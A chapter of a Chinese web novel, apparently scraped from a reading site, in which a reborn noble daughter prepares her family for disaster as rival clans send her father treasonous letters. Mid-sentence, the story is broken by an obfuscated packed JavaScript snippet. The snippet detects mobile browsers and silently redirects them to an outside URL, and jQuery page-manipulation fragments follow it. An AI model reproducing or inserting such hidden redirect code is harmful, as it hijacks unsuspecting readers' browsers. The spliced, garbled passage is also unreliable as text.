14. 第 14 章

作品:《你是我的白衣卿相

    一入腊月,日子便过得飞快,转眼便是腊月初四,往年这个时候,冷家三小姐都是在养病状态,然而今冬却意外活泼。


    三小姐自己开了一副中药,找福和堂秦管事给配齐了,在冷府膳食堂熬着喝。


    那药方子到了秦管事眼里,令的这位老中医无比惊奇。


    他自认术业有专攻,多年涉猎中医,却是从未见过这种配料表。


    很罕见几味药材。


    但是这几味药配在一起,却又是出奇地找不出任何瑕疵。


    “三小姐,老身冒昧问一下,这副药方子出自哪里么,是临安郎中开出来的?”


    秦管事极为好奇,就多嘴问了一句。


    冷无双还未及回应,秋月这时替主子说话了:


    “秦管事,是我家小主子自己琢磨出来的药方子,奴婢也好奇怪,小主子不知道几时有这方面天赋的。”


    “这的确是天赋。”秦管事感叹不已。


    秦管事:“三小姐简直是人中龙凤,小小年纪就精通医道,大何以了。”


    “过奖过奖。”


    冷无双笑意盈盈,本着天机不可泄露原则,她自然不能说出这方子到底源自哪里。


    十年时光,不止是后来的物是人非,更多便是,她也有了人生阅历。


    那是她来时的路。


    比如这种药方子。


    或许是因了这副药,三小姐不止没有犯病,还比平日里更元气满溢,康宁神旺许多。


    而且三小姐突然之间,对冷府一些日常事务极为上心,冒似奔着冷府二当家位子而来。


    众人都这样猜测着,以为冷无双小小年纪便有此雄心大志,果然是强将手下无弱兵。


    或者说,虎父无犬女。


    对此,冷无双完全不以为意。


    冷正青夫妇则喜欢看到小女儿这种状态,难得小女儿如此有精气神儿,至于她最近一连串奇怪行为,倒觉得是小孩子到了这个年纪,或许都是如此急于表现罢了。


    从外面大集市采购回来食材,源源不断运入冷府,冷家三小姐亲自在库房检验,一一过目。


    “三小姐,外面风大,仔细着凉,后天就是三小姐及笄之日,三小姐可得爱惜羽毛才好。”


    见三小姐这么辛苦劳累,大管家冷子恒劝冷无双。


    “恩恩,谢大管事,等今儿个这事安排好了,明儿就能好好歇着了。”


    冷无双也无暇和众人多说什么,只是拿了账本,清点一应食材。


    等到了下午申时,一应物事全都安排妥当,别说是初六三小姐及笄那些个物料用品,就是再往后祭祀要用到的材料,竟然也已备齐。


    而且远不止这些。


    三小姐要求年下那些要用到的东西,也要准备三倍之多,光是这些也就算了,余外有增了好些个囤积物品。


    申时一过,冷无双便又起笔砚墨,写了一长串药材名,派人传话给福和堂秦伯,要他将这些药材研磨之后,按药剂量包好送到冷府来。


    “跟秦管事说好,这些个药材剂量已经标注好了,都不必再劳烦秦管事再费心,直接打碎包好拿回来便是。”


    “是,三小姐。”


    将所有一切安排妥当之后,天已渐黑,冷空气再一次袭击砀城临安两地。


    雪依旧飘洒个不停。


    冷无双走到院子中间,望了望天空。


    雾霭沉沉。


    想到不久将要面临的一场空前大灾难,再看看眼前这种天气,令的冷无双不由想到几个字:


    黑云压城城欲摧。


    冷无双转身到了东院,正好冷子恒带着几个二级管事在议事,无外乎就是有关冷家祖上祭祀,还有三小姐后天及笄成人宴这件事。


    “三小姐,老身正准备请示小主子呢。”


    “恩,你说。”


    冷无双点头。


    “三小姐,老爷吩咐明儿一大早给各大世家派送邀请函,老爷又说了,这事让老身问一下三小姐,看是早上送好呢,还是后半晌送好呢。”


    明儿……


    冷无双不知道该怎么回复大管事。


    她想了一下子,才道:


    “等后半晌吧,时间充足一点。”


    “好的小主子。奴才记下了。”


    冷子恒将这事记在一只纸笺上,冷无双又道:


    “冷管事,等到戌时一到,咱家就闭门谢客,所有外入户门都关好上锁,不得有任何疏漏。”


    “上……上锁?闭门谢客?”


    闻言冷子恒微惊,手中狼毫差点掉在地下。


    戌时一到便闭门谢客,这委实是有点太离奇了。


    冷府从未有过这种事。


    而他身为下人,也不敢有所反驳,只得赶紧应承了,起身带着几个管事安排去了。


    将冷子恒几个人打发走之后,冷无双进了父母上房,之时冷正青正在喝茶。


    母亲顾氏正端着一本古册子在看,是民间流传的侦辑类闲书,最近母亲看的上头,很迷醉。


    父亲母亲都健在。


    一副静好岁月的样子。


    “爹。”


    冷无双轻唤。


    冷正青夫妇同时抬头,看到是小女儿,二人皆笑容满面。


    “双儿,娘正要找你,你来了便更好。娘有礼物要送你。”


    “娘,不是等及笄礼成宴那天才送么。”


    “及笄日那天另外有大礼,这一个是娘给你的私房收藏。来,双儿,过来。”


    大太太一边招呼女儿,一边拿出一个长方形黑漆描金彩嵌珍珠妆匣,妆匣侧面用镏金锁子锁着,大太太打开锁子,登时里面金光灿灿,珠光宝气盈溢不止。


    冷无双走过来,看了眼这些珠宝。


    难为娘把她当成掌中宝,才十五岁就送她这么多无价之宝,可惜!


    上一世她接受了娘这些赠与,转手便送与了落难公子凌北。


    而直到她被凌北打入冷宫那一年,才终于知道,当年她将这一盒子无价珠宝送与凌北,凌北转手就赠给了江寒雨!


    如今想起这件事,她犹自后悔得想死。


    “娘,哪用得了这么多,孩儿年少不懂事,娘不怕孩儿拿着这些天价之物,糟践了么。”


    说及此时,冷无双一双明眸之内,蓦地蓄了数滴眼泪。


    也红了眼眶。


    “双儿,怎地就哭了呢。这些东西乃身外之物,娘私藏有好多,给你这一盒子只是冷家其中之一,你自个保管着就好。”


    冷无双待要拒收时,又怕爹娘起疑,便让丫环秋月收下。


    “爹,”


    冷无双又和大太太说了些体己话,记挂着正事,便转向父亲冷正青。


    “爹,孩儿有话和爹爹相商。”


    冷正青将茶盅放在桌子上,抬起头嗯了一声。


    “是有关你及笄之事么?”


    “非也。”


    “那是?”


    冷无双正要说话时,负责门卫的老林头手中捧了两封函,匆匆进了东院。


    一个丫环进来禀报:


    “老爷,老林叔有事求见。”


    “让他进来。”


    老林头进来之后,将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974825|161382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两封折子书信双手呈上:


    “老爷,才长安西城邵家家主,东城樊家家主,都派人给老爷送信来,说有要事等老爷回复。”


    西城邵家,东城樊家,都是世家官爵,在砀城也是有头有脸富户,两家和冷家素常都有往来。


    所以两家突然派人送来书信,冷正青便不能不当回事。


    冷正青接了信笺,先是邵家的,便展开看去——


    但只是看了不到几行,冷正青便折了书信,沉吟不已。


    显然是令他为难之事。


    然后冷正青默了几秒之后,又打开樊家家主之信,一看信笺内容竟是和邵家如出一辙,顿时额上冒出几缕虚汗!


    他万万没有想到,邵家家主,还有樊家家主,竟然都有反叛之意!


    素常时,邵家家主一向循规蹈距,樊家家主虽是对当今执权者素有微词,却也并没有过激之举。


    然今天这是怎么了?


    难道是有什么大事要发生了么?


    两家家主同时火速送来约请函,难道这是他们已经商议好的事?


    冷正青勉强镇定自己,将两封信笺藏在袖内,欲要端起茶盅饮时,手却微晃了一下子。


    茶水溢出茶盅,洒了几滴在桌面上。


    “爹,何事惊慌?”


    冷无双起身走过去,本想将邵家和樊家两封书信要来看一下,但想想又放弃了这个想法。


    她知道爹一定不想让她知道个中内幕。


    事实上即便她不看这两封书信,亦已知晓大概意思。


    原本冷无双已经安排了下去,秘令守门的戊时以后府门紧闭,不接待任何来客,便是想着和这些世家贵族断绝一切来往。


    然没想到,她还是失算了。


    现在是酉时,对方已经提前行动。


    “爹没有惊慌,爹怎么可能惊慌!”


    冷正青咳了一声否认,面色凝重,催促着让女儿冷无双回落雨轩。


    冷无双:“爹,在我回落雨轩之前,必须得和爹确认一件事。”


    “爹,您不必惊慌,咱冷府只要按照女儿安排行事,不只是确保无虞,或者还能赢来家族新一轮转机。”


    “双双,汝能不能不要添乱了!汝这一番话,当真是讲的莫明其妙,爹属实听不懂。”


    冷正青挥挥手。


    “老爷,林伯还在外面候着,说是邵家和樊家派来的小厮还在外面,等着老爷回话呢。”


    “爹,这件事交给我。”


    冷无双说着出了正房,看到老林头还垂手立在那里,便道:


    “林伯,告诉邵家和樊家小厮,就说老爷知道了。让他们先回去复话要紧。”


    “好的三小姐,奴才这就去回话。”


    打发走老林头,冷无双转身又进了正房,冷正青面无表情,问:


    “汝这样打发掉邵家和樊家,也没有讲明爹的立场。邵家家主和樊家家主若是没有收到爹只言片语,岂会干休。”


    “无妨。爹若是回个只言片语,日后难免会成为罪证,到时候即便爹没有做过任何事,都脱不了干系。”


    就在父女二人讲话之间,马蹄的的,外院又有几封书信呈到,冷正青接过来之后,皆放在桌子上没有打开。


    “告诉几家来客,就说夜已经晚了,老身明日再回复各位。”


    冷正青已经心乱如麻,赶紧出了东院派老林头将各家送信的打发走,正要回屋时,女儿冷无双也走了出来。


    “爹,校场武士那儿,请爹一定让他们全员候战,守护咱家府邸。一千来号武士,大概够用了。”